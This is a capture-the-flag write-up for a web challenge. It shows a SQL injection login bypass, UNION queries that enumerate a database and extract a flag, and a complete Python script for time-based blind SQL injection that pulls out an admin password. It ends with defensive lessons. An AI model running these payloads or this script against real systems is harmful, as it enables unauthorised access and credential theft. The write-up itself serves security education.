Challenge Description
You don't ask for access. You carve it out.
Reconnaissance
The challenge presents a web application with a login form. My first step was to examine this login page for potential vulnerabilities.
The login form seemed like a good target to attempt some basic SQL injection. I tried the classic ' or 1=1 -- payload in both username and password fields, which bypassed the authentication successfully. This indicated poor input validation and a likely SQL injection vulnerability.
After bypassing authentication, I had access to a product search functionality. This seemed like another potential entry point for SQL injection that I could use to extract information from the database.
Database Enumeration
The product search functionality was indeed vulnerable to SQL injection. I used this to systematically enumerate the database structure:
First, I determined the number of columns in the current query by using the UNION SELECT technique:
' UNION SELECT NULL,NULL,NULL,NULL --
This indicated that the query was returning 4 columns. Next, I wanted to discover the table names in the database:
' UNION SELECT NULL, table_name, NULL, NULL FROM information_schema.tables WHERE table_schema=database() --
This query revealed two tables: products and secrets. The secrets table seemed particularly interesting for finding the flag.
To investigate the structure of the secrets table, I queried for its column names:
' UNION SELECT NULL, column_name, NULL, NULL FROM information_schema.columns WHERE table_name='secrets' --
This revealed two columns: id and flag. Now I could directly query for the flag:
' UNION SELECT NULL, flag, NULL, NULL FROM secrets --
This query returned the first part of the flag: UVT{Th3_sy5t3M_7ru5Ts_1tS_oWn_9r4Mmar_..._
However, the flag appeared to be incomplete. I needed to find the second part somewhere else in the application.
Blind SQL Injection
After examining the application further, I found a "Forgot Password" feature. This led to a password reset form that asked for an email address. Since there were no direct error messages or responses that would reveal SQL injection, I suspected this might require a blind SQL injection technique.
For blind SQL injection, I needed to use time-based techniques to infer information. I crafted a payload that would cause the server to sleep for 5 seconds if a specific condition was true:
' OR (SELECT IF(SUBSTRING(BINARY (SELECT password FROM users WHERE username='admin' LIMIT 1),1,1)='a', SLEEP(5), 0))--
If the first character of the admin's password was 'a', the server would sleep for 5 seconds. By iterating through different characters and positions, I could extract the password character by character.
To automate this process, I wrote a Python script using the requests library:
import requests
import string
import time
URL = 'http://challenge.uvtctf.ro:8080/password_reset.php'
DELAY = 5
THRESHOLD = 4.5
CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()_+-={}[]|:;<>,.?/~`"
MAX_LENGTH = 40
TARGET_CONDITION = "username='admin'"
extracted = ''
print("[*] Starting Blind SQL Injection...")
for position in range(1, MAX_LENGTH + 1):
found_char = False
for char in CHARSET:
payload = (
f"' OR (SELECT IF(SUBSTRING(BINARY (SELECT password FROM users WHERE {TARGET_CONDITION} LIMIT 1),"
f"{position},1)='{char}', SLEEP({DELAY}), 0))-- "
)
data = {
'email': payload
}
start_time = time.time()
try:
response = requests.post(URL, data=data, timeout=DELAY + 2)
elapsed = time.time() - start_time
except requests.exceptions.Timeout:
elapsed = DELAY + 1
if elapsed > THRESHOLD:
extracted += char
print(f"[+] Found character at position {position}: {char}")
found_char = True
break
if not found_char:
print(f"[-] No more characters found at position {position}. Ending extraction.")
break
print(f"\n[*] Extraction complete! Retrieved password: {extracted}")
Running this script gradually extracted the second part of the flag: S0_5tR1ng5_4r3_m0r3_tHaN_qu3r13s_1n_th3_3nd
Solution
By combining the two parts of the flag, I obtained the complete flag:
UVT{Th3_sy5t3M_7ru5Ts_1tS_oWn_9r4Mmar_..._S0_5tR1ng5_4r3_m0r3_tHaN_qu3r13s_1n_th3_3nd}
The challenge was solved using several SQL injection techniques:
- Basic authentication bypass using
' or 1=1 -- - UNION-based injection to enumerate database structure
- Direct data extraction for the first part of the flag
- Time-based blind SQL injection to extract the second part of the flag
Lessons Learned
This challenge highlights several important security concepts:
- The dangers of unsanitized user input in SQL queries
- How attackers can systematically enumerate and extract sensitive data from databases
- The importance of proper input validation and parameterized queries
- How blind SQL injection can be used even when there's no direct output
- The role of time-based techniques in blind injection scenarios
For developers, this challenge emphasizes the importance of:
- Using prepared statements or parameterized queries instead of concatenating user input
- Implementing proper authentication mechanisms
- Applying the principle of least privilege for database accounts
- Setting up input validation at multiple levels
- Using web application firewalls to detect and block SQL injection attempts